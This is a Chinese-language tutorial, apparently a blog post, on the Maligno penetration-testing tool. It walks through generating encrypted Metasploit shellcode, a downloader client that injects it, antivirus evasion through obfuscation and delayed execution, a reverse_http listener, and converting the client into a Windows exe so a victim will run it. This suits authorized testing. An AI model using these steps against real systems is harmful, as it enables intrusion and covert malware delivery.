今天我想介绍一个能够在渗透测设中帮到你的工具。Maligno是一个基于FreeBSD许可证的开源的渗透测试工具。使用Python编写,最大限度与Metasploit兼容。
它利用Metasploit framework框架,尤其是msfvenom,来生成AES加密的shellcode,并且在传输前会编码。
Maligno是非常有用的工具。它是为渗透测试设计的,但是也可以用于其它不同的场景。Maligno的通信非常灵活,可以让它仿真恶意软件的行为或通信模式。
Maligno的架构由客户端和服务端组成。Maligno各部分使用HTTP和HTTPS协议通信。
客户端和服务端可以配置成模拟特定的C&C通信,或者用作对手复制的一个部分(adversary replication,对手复制是渗透测试中的一个新概念,指用工具模拟黑客攻击,检查安全机制的有效性)。
客户端可以连接Maligno,下载加密的Metasploit载荷。当shellcode被下载下来,客户端解码和解密之后将其注入到目标机中。
客户端是David Kennedy的PyInjector的扩展版本。它支持各种操作系统,比如:Linux,Windows,以及OS X。Maligno已经具备了你需要的任何客户端和任何载荷。它有一个混淆器可在生成代码时混乱它。
Malingno另一个好功能是载荷延迟执行,规避杀软的启发式扫描。
服务端部分基于Metasploit来工作,事实上,它能够用msfvenom动态生成针对各种类型目标的载荷。它也支持多载荷和多连接。多亏Metasploit的辅助模块,它支持Socks5a代理。
如果你想在特定的IP和网络散布载荷,Maligno支持scopes。如果一个请求不在配置文件中的任何一个scops中,你可以配置“Last Resort Redirection”,这样就能禁止把载荷传送到不在scope范围内的目标上。
安装
安装非常简单,你可以直接在这里下载
解压文件,然后执行安装脚本。
复制代码代码如下:
# ./install.sh
它会询问你创建用于SSL模式操作的证书的相关问题。
配置
在安装完成后,你可以修改服务端的配置文件,打开它,修改使用你的载荷和IP。
这里有一个配置文件的完整解释:
复制代码代码如下:
# cat docs/server_config.explained
创建客户端脚本
复制代码代码如下:
# ./clientgen.py -f youconfifileserver.xml -s true
这个命令为你在youconfifileserver.xml文件中配置的每个载荷生成一个Python脚本。
开启Malingo服务端
复制代码代码如下:
# ./maligno_srv.py
Metasploit listener
现在,我们进入到Maligno文件夹里的msfresources文件夹中,执行Metasploit listener。Maligno为了快速加载,替我们为每个载荷创建了一个简单的脚本。
复制代码代码如下:
# cd msfresources
# msfconsole -r 0_standard_reverse_http_192.168.226.139_4444.rc
现在我们把Maligno环境加载并运行起来了。
在真实场景中,我们无法欺骗用户,劝他安装运行Python脚本所需环境。我们不得不把Python脚本转换为exe。
Python脚本转为exe
在完成Maligno Python脚本创建后,为了适用于各中环境,我们不得不转化它。
我们需要下面的软件:
复制代码代码如下:
Python 2.7 32bit for windows
Pyinstaller 2.1
PyWin32 32bit
VM Windows 7 32/64
在自己的Windows机器上安装Python2.7。从官网下载并安装它。
接下来,打开一个CMD shell,进入C:Python27里的scripts目录。
复制代码代码如下:
C:Python27Scriptspip.exe install pyinstaller
或者,如果你在Windows的环境变量中安装了Python的路径。
复制代码代码如下:
C:pip.exe install pyinstaller
下载最新版本的Pyinstaller,下载后会自动安装。
现在该安装PyWin32了。在这之前,如果你选择msi installer,你只需点击netx直到结束。默认配置是正确的,它会从windows的环境变量中找到Python的安装路径。
为了在下载阶段能够解密载荷,安装crypto模块很重要。
复制代码代码如下:
C:easy_install.exe crypto
C:easy_install.exe pycrypto
现在我们准备利用Python脚本创建我们的exe
打开Linux攻击机(我们在那里创建了Maligno服务端),然后选择一个脚本,拷贝并粘贴到Windwos虚拟机中你指定的文件夹。
进入那个文件夹,并执行pyinstaller
复制代码代码如下:
C:pyinstaller.exe -F -w --onefile 0_standard_reverse_http.py
如果没有错误,pyinstaller创建一个名为dist的文件夹,到里面我们就能找到.exe文件,可以使用它测试你的载荷。